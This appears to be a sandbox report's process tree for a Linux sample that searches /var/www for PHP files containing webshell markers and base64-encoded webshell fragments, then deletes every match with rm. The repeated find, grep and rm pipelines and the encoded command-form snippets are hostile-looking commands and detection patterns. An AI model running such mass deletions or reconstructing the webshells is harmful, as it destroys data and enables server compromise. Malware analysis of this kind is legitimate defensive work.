/usr/local/sbin/grepgrep -Il "Black Ban V1.01"4⤵PID:1068
-
-
/usr/local/bin/grepgrep -Il "Black Ban V1.01"4⤵PID:1068
-
-
/usr/sbin/grepgrep -Il "Black Ban V1.01"4⤵PID:1068
-
-
/usr/bin/grepgrep -Il "Black Ban V1.01"4⤵PID:1068
-
-
/sbin/grepgrep -Il "Black Ban V1.01"4⤵PID:1068
-
-
/bin/grepgrep -Il "Black Ban V1.01"4⤵PID:1068
-
-
-
/usr/bin/xargsxargs -r -d "\\n" rm -v --3⤵PID:1067
-
-
/usr/bin/findfind /var/www -type f -name "*.php" -print03⤵PID:1065
-
-
/usr/bin/xargsxargs -0 grep -Il xtb4iPdnIWJRxU8IyOQEcyjY3⤵
- System Network Configuration Discovery
PID:1070 -
/usr/local/sbin/grepgrep -Il xtb4iPdnIWJRxU8IyOQEcyjY4⤵
- System Network Configuration Discovery
PID:1072
-
-
/usr/local/bin/grepgrep -Il xtb4iPdnIWJRxU8IyOQEcyjY4⤵
- System Network Configuration Discovery
PID:1072
-
-
/usr/sbin/grepgrep -Il xtb4iPdnIWJRxU8IyOQEcyjY4⤵
- System Network Configuration Discovery
PID:1072
-
-
/usr/bin/grepgrep -Il xtb4iPdnIWJRxU8IyOQEcyjY4⤵
- System Network Configuration Discovery
PID:1072
-
-
/sbin/grepgrep -Il xtb4iPdnIWJRxU8IyOQEcyjY4⤵
- System Network Configuration Discovery
PID:1072
-
-
/bin/grepgrep -Il xtb4iPdnIWJRxU8IyOQEcyjY4⤵
- System Network Configuration Discovery
PID:1072
-
-
-
/usr/bin/findfind /var/www -type f -name "*.php" -print03⤵PID:1069
-
-
/usr/bin/xargsxargs -r -d "\\n" rm -v --3⤵PID:1071
-
-
/usr/bin/xargsxargs -0 grep -Il 6thGn5eUaCSpzv3⤵PID:1074
-
/usr/local/sbin/grepgrep -Il 6thGn5eUaCSpzv4⤵PID:1076
-
-
/usr/local/bin/grepgrep -Il 6thGn5eUaCSpzv4⤵PID:1076
-
-
/usr/sbin/grepgrep -Il 6thGn5eUaCSpzv4⤵PID:1076
-
-
/usr/bin/grepgrep -Il 6thGn5eUaCSpzv4⤵PID:1076
-
-
/sbin/grepgrep -Il 6thGn5eUaCSpzv4⤵PID:1076
-
-
/bin/grepgrep -Il 6thGn5eUaCSpzv4⤵PID:1076
-
-
-
/usr/bin/findfind /var/www -type f -name "*.php" -print03⤵PID:1073
-
-
/usr/bin/xargsxargs -r -d "\\n" rm -v --3⤵PID:1075
-
-
/usr/bin/xargsxargs -0 grep -Il HI7sTioa3⤵PID:1078
-
/usr/local/sbin/grepgrep -Il HI7sTioa4⤵PID:1080
-
-
/usr/local/bin/grepgrep -Il HI7sTioa4⤵PID:1080
-
-
/usr/sbin/grepgrep -Il HI7sTioa4⤵PID:1080
-
-
/usr/bin/grepgrep -Il HI7sTioa4⤵PID:1080
-
-
/sbin/grepgrep -Il HI7sTioa4⤵PID:1080
-
-
/bin/grepgrep -Il HI7sTioa4⤵PID:1080
-
-
-
/usr/bin/xargsxargs -r -d "\\n" rm -v --3⤵PID:1079
-
-
/usr/bin/findfind /var/www -type f -name "*.php" -print03⤵
- Reads runtime system information
PID:1077
-
-
/usr/bin/findfind /var/www -type f -name "*.php" -print03⤵PID:1081
-
-
/usr/bin/xargsxargs -0 grep -Il c2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF9SRVFVRVNUWydtZDUnXSkgJiYgbWQ1KCRfUkVRVUVTVFsnbWQ1J10pID09ICdiNmJhMGZlNDgxOWI2NWUzOTZlNzEzNzg1YjI1ODI2ZScpIHsKICAgICRfU0VTU0lPTlsnbG9va2knXSA9ICdsb2dnZWQnOwp9CmlmICghaXNzZXQoJF9TRVNTSU9OWydsb29raSddKSkgewogICAgZWNobyAnPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI3⤵
- Reads runtime system information
PID:1082 -
/usr/local/sbin/grepgrep -Il c2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF9SRVFVRVNUWydtZDUnXSkgJiYgbWQ1KCRfUkVRVUVTVFsnbWQ1J10pID09ICdiNmJhMGZlNDgxOWI2NWUzOTZlNzEzNzg1YjI1ODI2ZScpIHsKICAgICRfU0VTU0lPTlsnbG9va2knXSA9ICdsb2dnZWQnOwp9CmlmICghaXNzZXQoJF9TRVNTSU9OWydsb29raSddKSkgewogICAgZWNobyAnPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI4⤵PID:1084
-
-
/usr/local/bin/grepgrep -Il c2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF9SRVFVRVNUWydtZDUnXSkgJiYgbWQ1KCRfUkVRVUVTVFsnbWQ1J10pID09ICdiNmJhMGZlNDgxOWI2NWUzOTZlNzEzNzg1YjI1ODI2ZScpIHsKICAgICRfU0VTU0lPTlsnbG9va2knXSA9ICdsb2dnZWQnOwp9CmlmICghaXNzZXQoJF9TRVNTSU9OWydsb29raSddKSkgewogICAgZWNobyAnPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI4⤵PID:1084
-
-
/usr/sbin/grepgrep -Il c2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF9SRVFVRVNUWydtZDUnXSkgJiYgbWQ1KCRfUkVRVUVTVFsnbWQ1J10pID09ICdiNmJhMGZlNDgxOWI2NWUzOTZlNzEzNzg1YjI1ODI2ZScpIHsKICAgICRfU0VTU0lPTlsnbG9va2knXSA9ICdsb2dnZWQnOwp9CmlmICghaXNzZXQoJF9TRVNTSU9OWydsb29raSddKSkgewogICAgZWNobyAnPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI4⤵PID:1084
-
-
/usr/bin/grepgrep -Il c2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF9SRVFVRVNUWydtZDUnXSkgJiYgbWQ1KCRfUkVRVUVTVFsnbWQ1J10pID09ICdiNmJhMGZlNDgxOWI2NWUzOTZlNzEzNzg1YjI1ODI2ZScpIHsKICAgICRfU0VTU0lPTlsnbG9va2knXSA9ICdsb2dnZWQnOwp9CmlmICghaXNzZXQoJF9TRVNTSU9OWydsb29raSddKSkgewogICAgZWNobyAnPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI4⤵PID:1084
-
-
/sbin/grepgrep -Il c2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF9SRVFVRVNUWydtZDUnXSkgJiYgbWQ1KCRfUkVRVUVTVFsnbWQ1J10pID09ICdiNmJhMGZlNDgxOWI2NWUzOTZlNzEzNzg1YjI1ODI2ZScpIHsKICAgICRfU0VTU0lPTlsnbG9va2knXSA9ICdsb2dnZWQnOwp9CmlmICghaXNzZXQoJF9TRVNTSU9OWydsb29raSddKSkgewogICAgZWNobyAnPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI4⤵PID:1084
-
-
/bin/grepgrep -Il c2Vzc2lvbl9zdGFydCgpOwppZiAoaXNzZXQoJF9SRVFVRVNUWydtZDUnXSkgJiYgbWQ1KCRfUkVRVUVTVFsnbWQ1J10pID09ICdiNmJhMGZlNDgxOWI2NWUzOTZlNzEzNzg1YjI1ODI2ZScpIHsKICAgICRfU0VTU0lPTlsnbG9va2knXSA9ICdsb2dnZWQnOwp9CmlmICghaXNzZXQoJF9TRVNTSU9OWydsb29raSddKSkgewogICAgZWNobyAnPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI4⤵PID:1084
-
-
-
/usr/bin/xargsxargs -r -d "\\n" rm -v --3⤵PID:1083
-
-
/usr/bin/findfind /var/www -type f -name "*.php" -print03⤵PID:1085
-
-
/usr/bin/xargsxargs -0 grep -Il 5Bx04ERlrGnXR2yra3⤵PID:1086
-
/usr/local/sbin/grepgrep -Il 5Bx04ERlrGnXR2yra4⤵PID:1088
-
-
/usr/local/bin/grepgrep -Il 5Bx04ERlrGnXR2yra4⤵PID:1088
-
-
/usr/sbin/grepgrep -Il 5Bx04ERlrGnXR2yra4⤵PID:1088
-
-
/usr/bin/grepgrep -Il 5Bx04ERlrGnXR2yra4⤵PID:1088
-
-
/sbin/grepgrep -Il 5Bx04ERlrGnXR2yra4⤵PID:1088
-
-
/bin/grepgrep -Il 5Bx04ERlrGnXR2yra4⤵PID:1088
-
-
-
/usr/bin/xargsxargs -r -d "\\n" rm -v --3⤵PID:1087
-
-
/usr/bin/xargsxargs -0 grep -Il PC2DFckV8Pr7VsIlz3⤵PID:1090
-
/usr/local/sbin/grepgrep -Il PC2DFckV8Pr7VsIlz4⤵PID:1092
-
-
/usr/local/bin/grepgrep -Il PC2DFckV8Pr7VsIlz4⤵PID:1092
-
-
/usr/sbin/grepgrep -Il PC2DFckV8Pr7VsIlz4⤵PID:1092
-
-
/usr/bin/grepgrep -Il PC2DFckV8Pr7VsIlz4⤵PID:1092
-
-
/sbin/grepgrep -Il PC2DFckV8Pr7VsIlz4⤵PID:1092
-
-
/bin/grepgrep -Il PC2DFckV8Pr7VsIlz4⤵PID:1092
-
-
-
/usr/bin/findfind /var/www -type f -name "*.php" -print03⤵PID:1089
-
-
/usr/bin/xargsxargs -r -d "\\n" rm -v --3⤵
- Reads runtime system information
PID:1091
-
-
/usr/bin/xargsxargs -0 grep -Il B0WykLMrTWM3ksFE7CwoqHqB3⤵PID:1094
-
/usr/local/sbin/grepgrep -Il B0WykLMrTWM3ksFE7CwoqHqB4⤵PID:1096
-
-
/usr/local/bin/grepgrep -Il B0WykLMrTWM3ksFE7CwoqHqB4⤵PID:1096
-
-
/usr/sbin/grepgrep -Il B0WykLMrTWM3ksFE7CwoqHqB4⤵PID:1096
-
-
/usr/bin/grepgrep -Il B0WykLMrTWM3ksFE7CwoqHqB4⤵PID:1096
-
-
/sbin/grepgrep -Il B0WykLMrTWM3ksFE7CwoqHqB4⤵PID:1096
-
-
/bin/grepgrep -Il B0WykLMrTWM3ksFE7CwoqHqB4⤵PID:1096
-
-
-
/usr/bin/findfind /var/www -type f -name "*.php" -print03⤵PID:1093
-
-
/usr/bin/xargsxargs -r -d "\\n" rm -v --3⤵PID:1095
-
-
/usr/bin/xargsxargs -0 grep -Il xBzLIuwz8oDrW23⤵PID:1098
-
/usr/local/sbin/grepgrep -Il xBzLIuwz8oDrW24⤵PID:1100
-
-
/usr/local/bin/grepgrep -Il xBzLIuwz8oDrW24⤵PID:1100
-
-
/usr/sbin/grepgrep -Il xBzLIuwz8oDrW24⤵PID:1100
-
-
/usr/bin/grepgrep -Il xBzLIuwz8oDrW24⤵PID:1100
-
-
/sbin/grepgrep -Il xBzLIuwz8oDrW24⤵PID:1100
-
-
/bin/grepgrep -Il xBzLIuwz8oDrW24⤵PID:1100
-
-
-
/usr/bin/findfind /var/www -type f -name "*.php" -print03⤵PID:1097
-
-
/usr/bin/xargsxargs -r -d "\\n" rm -v --3⤵PID:1099
-
-
/usr/bin/xargsxargs -0 grep -Il Nmg8ls5H3⤵PID:1102
-
/usr/local/sbin/grepgrep -Il Nmg8ls5H4⤵PID:1104
-
-
/usr/local/bin/grepgrep -Il Nmg8ls5H4⤵PID:1104
-
-
/usr/sbin/grepgrep -Il Nmg8ls5H4⤵PID:1104
-
-
/usr/bin/grepgrep -Il Nmg8ls5H4⤵PID:1104
-
-
/sbin/grepgrep -Il Nmg8ls5H4⤵PID:1104
-
-
/bin/grepgrep -Il Nmg8ls5H4⤵PID:1104
-
-
-
/usr/bin/findfind /var/www -type f -name "*.php" -print03⤵PID:1101
-
-
/usr/bin/xargsxargs -r -d "\\n" rm -v --3⤵PID:1103
-
-
/usr/bin/findfind /var/www -type f -name "*.php" -print03⤵PID:1105
-
-
/usr/bin/xargsxargs -0 grep -Il VictamPbx3⤵PID:1106
-
/usr/local/sbin/grepgrep -Il VictamPbx4⤵PID:1108
-
-
/usr/local/bin/grepgrep -Il VictamPbx4⤵PID:1108
-
-
/usr/sbin/grepgrep -Il VictamPbx4⤵PID:1108
-
-
/usr/bin/grepgrep -Il VictamPbx4⤵PID:1108
-
-
/sbin/grepgrep -Il VictamPbx4⤵PID:1108
-
-
/bin/grepgrep -Il VictamPbx4⤵PID:1108
-
-
-
/usr/bin/xargsxargs -r -d "\\n" rm -v --3⤵PID:1107
-
-
/usr/bin/findfind /var/www -type f -name "*.php" -print03⤵
- Reads runtime system information
PID:1109
-
-
/usr/bin/xargsxargs -0 grep -Il PGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgPgo8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY21kIiBzaXplPSc4MCcgLz4KICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImV4ZWN1dGUiIHZhbHVlPSJFeGVjdXRlIiAvPiA8aHIgLz4KPC9mb3JtPg3⤵PID:1110
-
/usr/local/sbin/grepgrep -Il PGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgPgo8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY21kIiBzaXplPSc4MCcgLz4KICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImV4ZWN1dGUiIHZhbHVlPSJFeGVjdXRlIiAvPiA8aHIgLz4KPC9mb3JtPg4⤵PID:1112
-
-
/usr/local/bin/grepgrep -Il PGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgPgo8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY21kIiBzaXplPSc4MCcgLz4KICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImV4ZWN1dGUiIHZhbHVlPSJFeGVjdXRlIiAvPiA8aHIgLz4KPC9mb3JtPg4⤵PID:1112
-
-
/usr/sbin/grepgrep -Il PGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgPgo8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY21kIiBzaXplPSc4MCcgLz4KICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImV4ZWN1dGUiIHZhbHVlPSJFeGVjdXRlIiAvPiA8aHIgLz4KPC9mb3JtPg4⤵PID:1112
-
-
/usr/bin/grepgrep -Il PGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgPgo8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY21kIiBzaXplPSc4MCcgLz4KICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImV4ZWN1dGUiIHZhbHVlPSJFeGVjdXRlIiAvPiA8aHIgLz4KPC9mb3JtPg4⤵PID:1112
-
-
/sbin/grepgrep -Il PGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgPgo8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY21kIiBzaXplPSc4MCcgLz4KICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImV4ZWN1dGUiIHZhbHVlPSJFeGVjdXRlIiAvPiA8aHIgLz4KPC9mb3JtPg4⤵PID:1112
-
-
/bin/grepgrep -Il PGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCIgPgo8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY21kIiBzaXplPSc4MCcgLz4KICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9ImV4ZWN1dGUiIHZhbHVlPSJFeGVjdXRlIiAvPiA8aHIgLz4KPC9mb3JtPg4⤵PID:1112
-
-
-
/usr/bin/xargsxargs -r -d "\\n" rm -v --3⤵
- Reads runtime system information
PID:1111
-
-
/usr/bin/xargsxargs -0 grep -Il New-Pbx3⤵PID:1114
-
/usr/local/sbin/grepgrep -Il New-Pbx4⤵PID:1116
-
-
/usr/local/bin/grepgrep -Il New-Pbx4⤵PID:1116
-
-
/usr/sbin/grepgrep -Il New-Pbx4⤵PID:1116
-
-
/usr/bin/grepgrep -Il New-Pbx4⤵PID:1116
-
-
/sbin/grepgrep -Il New-Pbx4⤵PID:1116
-
-
/bin/grepgrep -Il New-Pbx4⤵PID:1116
-
-
-
/usr/bin/findfind /var/www -type f -name "*.php" -print03⤵PID:1113
-
-
/usr/bin/xargsxargs -r -d "\\n" rm -v --3⤵PID:1115
-
-
/usr/bin/xargsxargs -0 grep -Il d6e08cf66c4e2c48bd74db31cf6976153⤵PID:1118
-
/usr/local/sbin/grepgrep -Il d6e08cf66c4e2c48bd74db31cf6976154⤵PID:1120
-
-
/usr/local/bin/grepgrep -Il d6e08cf66c4e2c48bd74db31cf6976154⤵PID:1120
-
-
/usr/sbin/grepgrep -Il d6e08cf66c4e2c48bd74db31cf6976154⤵PID:1120
-
-
/usr/bin/grepgrep -Il d6e08cf66c4e2c48bd74db31cf6976154⤵PID:1120
-
-
/sbin/grepgrep -Il d6e08cf66c4e2c48bd74db31cf6976154⤵PID:1120
-
-
/bin/grepgrep -Il d6e08cf66c4e2c48bd74db31cf6976154⤵PID:1120
-
-
-
/usr/bin/findfind /var/www -type f -name "*.php" -print03⤵PID:1117
-
-
/usr/bin/xargsxargs -r -d "\\n" rm -v --3⤵PID:1119
-
-
/usr/bin/xargsxargs -0 grep -Il 9490f20681692b508c4b04cd14d791903⤵PID:1122
-
/usr/local/sbin/grepgrep -Il 9490f20681692b508c4b04cd14d791904⤵PID:1124
-
-
/usr/local/bin/grepgrep -Il 9490f20681692b508c4b04cd14d791904⤵PID:1124
-
-
/usr/sbin/grepgrep -Il 9490f20681692b508c4b04cd14d791904⤵PID:1124
-
-
/usr/bin/grepgrep -Il 9490f20681692b508c4b04cd14d791904⤵PID:1124
-
-
/sbin/grepgrep -Il 9490f20681692b508c4b04cd14d791904⤵PID:1124
-
-
/bin/grepgrep -Il 9490f20681692b508c4b04cd14d791904⤵PID:1124
-
-
-
/usr/bin/findfind /var/www -type f -name "*.php" -print03⤵PID:1121
-
-
/usr/bin/xargsxargs -r -d "\\n" rm -v --3⤵PID:1123
-
-
/usr/bin/xargsxargs -0 grep -Il 1c95bad5b03658f331833d6ea9e778873⤵PID:1126
-
/usr/local/sbin/grepgrep -Il 1c95bad5b03658f331833d6ea9e778874⤵PID:1128
-
-
/usr/local/bin/grepgrep -Il 1c95bad5b03658f331833d6ea9e778874⤵PID:1128
-
-
/usr/sbin/grepgrep -Il 1c95bad5b03658f331833d6ea9e778874⤵PID:1128
-
-
/usr/bin/grepgrep -Il 1c95bad5b03658f331833d6ea9e778874⤵PID:1128
-
-
/sbin/grepgrep -Il 1c95bad5b03658f331833d6ea9e778874⤵PID:1128
-
-
/bin/grepgrep -Il 1c95bad5b03658f331833d6ea9e778874⤵PID:1128
-
-
-
/usr/bin/findfind /var/www -type f -name "*.php" -print03⤵PID:1125
-
-
/usr/bin/xargsxargs -r -d "\\n" rm -v --3⤵PID:1127
-
-
/usr/bin/xargsxargs -0 grep -Il 9KzV53W471fILfew1M1DULk03⤵PID:1130
-
/usr/local/sbin/grepgrep -Il 9KzV53W471fILfew1M1DULk04⤵PID:1132
-
-
/usr/local/bin/grepgrep -Il 9KzV53W471fILfew1M1DULk04⤵PID:1132
-
-
/usr/sbin/grepgrep -Il 9KzV53W471fILfew1M1DULk04⤵PID:1132
-
-
/usr/bin/grepgrep -Il 9KzV53W471fILfew1M1DULk04⤵PID:1132
-
-
/sbin/grepgrep -Il 9KzV53W471fILfew1M1DULk04⤵PID:1132
-
-
/bin/grepgrep -Il 9KzV53W471fILfew1M1DULk04⤵PID:1132
-
-
-
/usr/bin/findfind /var/www -type f -name "*.php" -print03⤵PID:1129
-
-
/usr/bin/xargsxargs -r -d "\\n" rm -v --3⤵PID:1131
-
-
/usr/bin/xargsxargs -0 grep -Il FaTaLisTiCz_Fx3⤵PID:1134
-
/usr/local/sbin/grepgrep -Il FaTaLisTiCz_Fx4⤵PID:1136
-
-
/usr/local/bin/grepgrep -Il FaTaLisTiCz_Fx4⤵PID:1136
-
-
/usr/sbin/grepgrep -Il FaTaLisTiCz_Fx4⤵PID:1136
-
-
/usr/bin/grepgrep -Il FaTaLisTiCz_Fx4⤵PID:1136
-
-
/sbin/grepgrep -Il FaTaLisTiCz_Fx4⤵PID:1136
-
-
/bin/grepgrep -Il FaTaLisTiCz_Fx4⤵PID:1136
-
-
-
/usr/bin/findfind /var/www -type f -name "*.php" -print03⤵PID:1133
-
-
/usr/bin/xargsxargs -r -d "\\n" rm -v --3⤵PID:1135
-
-
/usr/bin/findfind /var/www -type f -name "*.php" -print03⤵
- Reads runtime system information
PID:1137
-
-
/usr/bin/xargsxargs -0 grep -Il hRWv5p9vRt90YFivFJjV3L5G3⤵PID:1138
-
/usr/local/sbin/grepgrep -Il hRWv5p9vRt90YFivFJjV3L5G4⤵PID:1140
-
-
/usr/local/bin/grepgrep -Il hRWv5p9vRt90YFivFJjV3L5G4⤵PID:1140
-
-
/usr/sbin/grepgrep -Il hRWv5p9vRt90YFivFJjV3L5G4⤵PID:1140
-
-
/usr/bin/grepgrep -Il hRWv5p9vRt90YFivFJjV3L5G4⤵PID:1140
-
-
/sbin/grepgrep -Il hRWv5p9vRt90YFivFJjV3L5G4⤵PID:1140
-
-
/bin/grepgrep -Il hRWv5p9vRt90YFivFJjV3L5G4⤵PID:1140
-
-
-
/usr/bin/xargsxargs -r -d "\\n" rm -v --3⤵PID:1139
-
-
/usr/bin/xargsxargs -0 grep -Il IlXGEbLAy9GFYU3⤵PID:1142
-
/usr/local/sbin/grepgrep -Il IlXGEbLAy9GFYU4⤵PID:1144
-
-
/usr/local/bin/grepgrep -Il IlXGEbLAy9GFYU4⤵PID:1144
-
-
/usr/sbin/grepgrep -Il IlXGEbLAy9GFYU4⤵PID:1144
-
-
/usr/bin/grepgrep -Il IlXGEbLAy9GFYU4⤵PID:1144
-
-
/sbin/grepgrep -Il IlXGEbLAy9GFYU4⤵PID:1144
-
-
/bin/grepgrep -Il IlXGEbLAy9GFYU4⤵PID:1144
-
-
-
/usr/bin/findfind /var/www -type f -name "*.php" -print03⤵PID:1141
-
-
/usr/bin/xargsxargs -r -d "\\n" rm -v --3⤵PID:1143
-
-
/usr/bin/xargsxargs -0 grep -Il yhVmfo8f3⤵PID:1146
-
/usr/local/sbin/grepgrep -Il yhVmfo8f4⤵PID:1148
-
-
/usr/local/bin/grepgrep -Il yhVmfo8f4⤵PID:1148
-
-
/usr/sbin/grepgrep -Il yhVmfo8f4⤵PID:1148
-
-
/usr/bin/grepgrep -Il yhVmfo8f4⤵PID:1148
-
-
/sbin/grepgrep -Il yhVmfo8f4⤵PID:1148
-
-
/bin/grepgrep -Il yhVmfo8f4⤵PID:1148
-
-
-
/usr/bin/findfind /var/www -type f -name "*.php" -print03⤵PID:1145
-
-
/usr/bin/xargsxargs -r -d "\\n" rm -v --3⤵PID:1147
-
-
/usr/bin/xargsxargs -0 grep -Il pTFr1cffgGFs0PExj3⤵PID:1150
-
/usr/local/sbin/grepgrep -Il pTFr1cffgGFs0PExj4⤵PID:1152
-
-
/usr/local/bin/grepgrep -Il pTFr1cffgGFs0PExj4⤵PID:1152
-
-
/usr/sbin/grepgrep -Il pTFr1cffgGFs0PExj4⤵PID:1152
-
-
/usr/bin/grepgrep -Il pTFr1cffgGFs0PExj4⤵PID:1152
-
-
/sbin/grepgrep -Il pTFr1cffgGFs0PExj4⤵PID:1152
-
-
/bin/grepgrep -Il pTFr1cffgGFs0PExj4⤵PID:1152
-
-
-
/usr/bin/findfind /var/www -type f -name "*.php" -print03⤵PID:1149
-
-
/usr/bin/xargsxargs -r -d "\\n" rm -v --3⤵
- Reads runtime system information
PID:1151
-
-
/usr/bin/xargsxargs -0 grep -Il DDwrCQLX3⤵PID:1154
-
/usr/local/sbin/grepgrep -Il DDwrCQLX4⤵PID:1156
-
-
/usr/local/bin/grepgrep -Il DDwrCQLX4⤵PID:1156
-
-
/usr/sbin/grepgrep -Il DDwrCQLX4⤵PID:1156
-
-
/usr/bin/grepgrep -Il DDwrCQLX4⤵PID:1156
-
-
/sbin/grepgrep -Il DDwrCQLX4⤵PID:1156
-
-
/bin/grepgrep -Il DDwrCQLX4⤵PID:1156
-
-
-
/usr/bin/findfind /var/www -type f -name "*.php" -print03⤵PID:1153
-
-
/usr/bin/xargsxargs -r -d "\\n" rm -v --3⤵PID:1155
-
-
/usr/bin/xargsxargs -0 grep -Il v1vXWIUI01ODa03⤵PID:1158
-
/usr/local/sbin/grepgrep -Il v1vXWIUI01ODa04⤵PID:1160
-
-
/usr/local/bin/grepgrep -Il v1vXWIUI01ODa04⤵PID:1160
-
-
/usr/sbin/grepgrep -Il v1vXWIUI01ODa04⤵PID:1160
-
-
/usr/bin/grepgrep -Il v1vXWIUI01ODa04⤵PID:1160
-
-
/sbin/grepgrep -Il v1vXWIUI01ODa04⤵PID:1160
-
-
/bin/grepgrep -Il v1vXWIUI01ODa04⤵PID:1160
-
-
-
/usr/bin/findfind /var/www -type f -name "*.php" -print03⤵PID:1157
-
-
/usr/bin/xargsxargs -r -d "\\n" rm -v --3⤵PID:1159
-
-
/usr/bin/xargsxargs -0 grep -Il Lh76D9c0svOZkklrL9LurM9y3⤵PID:1162
-
/usr/local/sbin/grepgrep -Il Lh76D9c0svOZkklrL9LurM9y4⤵PID:1164
-
-
/usr/local/bin/grepgrep -Il Lh76D9c0svOZkklrL9LurM9y4⤵PID:1164
-
-
/usr/sbin/grepgrep -Il Lh76D9c0svOZkklrL9LurM9y4⤵PID:1164
-
-
/usr/bin/grepgrep -Il Lh76D9c0svOZkklrL9LurM9y4⤵PID:1164
-
-
/sbin/grepgrep -Il Lh76D9c0svOZkklrL9LurM9y4⤵PID:1164
-
-
/bin/grepgrep -Il Lh76D9c0svOZkklrL9LurM9y4⤵PID:1164
-
-
-
/usr/bin/findfind /var/www -type f -name "*.php" -print03⤵PID:1161
-
-
/usr/bin/xargsxargs -r -d "\\n" rm -v --3⤵PID:1163
-
-
/usr/bin/xargsxargs -0 grep -Il ix731zQb7mdDj9mdS3⤵PID:1166
-
/usr/local/sbin/grepgrep -Il ix731zQb7mdDj9mdS4⤵PID:1169
-
-
/usr/local/bin/grepgrep -Il ix731zQb7mdDj9mdS4⤵PID:1169
-
-
/usr/sbin/grepgrep -Il ix731zQb7mdDj9mdS4⤵PID:1169
-
-
/usr/bin/grepgrep -Il ix731zQb7mdDj9mdS4⤵PID:1169
-
-
/sbin/grepgrep -Il ix731zQb7mdDj9mdS4⤵PID:1169
-
-
/bin/grepgrep -Il ix731zQb7mdDj9mdS4⤵PID:1169
-
-
-
/usr/bin/findfind /var/www -type f -name "*.php" -print03⤵
- Reads runtime system information
PID:1165
-
-
/usr/bin/xargsxargs -r -d "\\n" rm -v --3⤵
- Reads runtime system information
PID:1167
-
-
/usr/bin/xargsxargs -0 grep -Il 9VkwhyK73⤵PID:1172
-
/usr/local/sbin/grepgrep -Il 9VkwhyK74⤵PID:1174
-
-
/usr/local/bin/grepgrep -Il 9VkwhyK74⤵PID:1174
-
-
/usr/sbin/grepgrep -Il 9VkwhyK74⤵PID:1174
-
-
/usr/bin/grepgrep -Il 9VkwhyK74⤵PID:1174
-
-
/sbin/grepgrep -Il 9VkwhyK74⤵PID:1174
-
-
/bin/grepgrep -Il 9VkwhyK74⤵PID:1174
-
-
-
/usr/bin/findfind /var/www -type f -name "*.php" -print03⤵PID:1171
-
-
/usr/bin/xargsxargs -r -d "\\n" rm -v --3⤵PID:1173
-
-
/usr/bin/xargsxargs -0 grep -Il XOf2eR5oAraIs23⤵PID:1177
-
/usr/local/sbin/grepgrep -Il XOf2eR5oAraIs24⤵PID:1180
-
-
/usr/local/bin/grepgrep -Il XOf2eR5oAraIs24⤵PID:1180
-
-
/usr/sbin/grepgrep -Il XOf2eR5oAraIs24⤵PID:1180
-
-
/usr/bin/grepgrep -Il XOf2eR5oAraIs24⤵PID:1180
-
-
/sbin/grepgrep -Il XOf2eR5oAraIs24⤵PID:1180
-
-
/bin/grepgrep -Il XOf2eR5oAraIs24⤵PID:1180
-
-
-
/usr/bin/findfind /var/www -type f -name "*.php" -print03⤵
- Reads runtime system information
PID:1176
-
-
/usr/bin/xargsxargs -r -d "\\n" rm -v --3⤵
- Reads runtime system information
PID:1178
-
-
/usr/bin/xargsxargs -0 grep -Il aIlL71SrsimmeePxqWBGOpRU3⤵PID:1182
-
/usr/local/sbin/grepgrep -Il aIlL71SrsimmeePxqWBGOpRU4⤵PID:1185
-
-
/usr/local/bin/grepgrep -Il aIlL71SrsimmeePxqWBGOpRU4⤵PID:1185
-
-
/usr/sbin/grepgrep -Il aIlL71SrsimmeePxqWBGOpRU4⤵PID:1185
-
-
/usr/bin/grepgrep -Il aIlL71SrsimmeePxqWBGOpRU4⤵PID:1185
-
-
/sbin/grepgrep -Il aIlL71SrsimmeePxqWBGOpRU4⤵PID:1185
-
-
/bin/grepgrep -Il aIlL71SrsimmeePxqWBGOpRU4⤵PID:1185
-
-
-
/usr/bin/findfind /var/www -type f -name "*.php" -print03⤵PID:1181
-
-
/usr/bin/xargsxargs -r -d "\\n" rm -v --3⤵PID:1183
-
-
/usr/bin/xargsxargs -0 grep -Il 6a4IRS7JN4x37MUcb3⤵PID:1188
-
/usr/local/sbin/grepgrep -Il 6a4IRS7JN4x37MUcb4⤵PID:1190
-
-
/usr/local/bin/grepgrep -Il 6a4IRS7JN4x37MUcb4⤵PID:1190
-
-
/usr/sbin/grepgrep -Il 6a4IRS7JN4x37MUcb4⤵PID:1190
-
-
/usr/bin/grepgrep -Il 6a4IRS7JN4x37MUcb4⤵PID:1190
-
-
/sbin/grepgrep -Il 6a4IRS7JN4x37MUcb4⤵PID:1190
-
-
/bin/grepgrep -Il 6a4IRS7JN4x37MUcb4⤵PID:1190
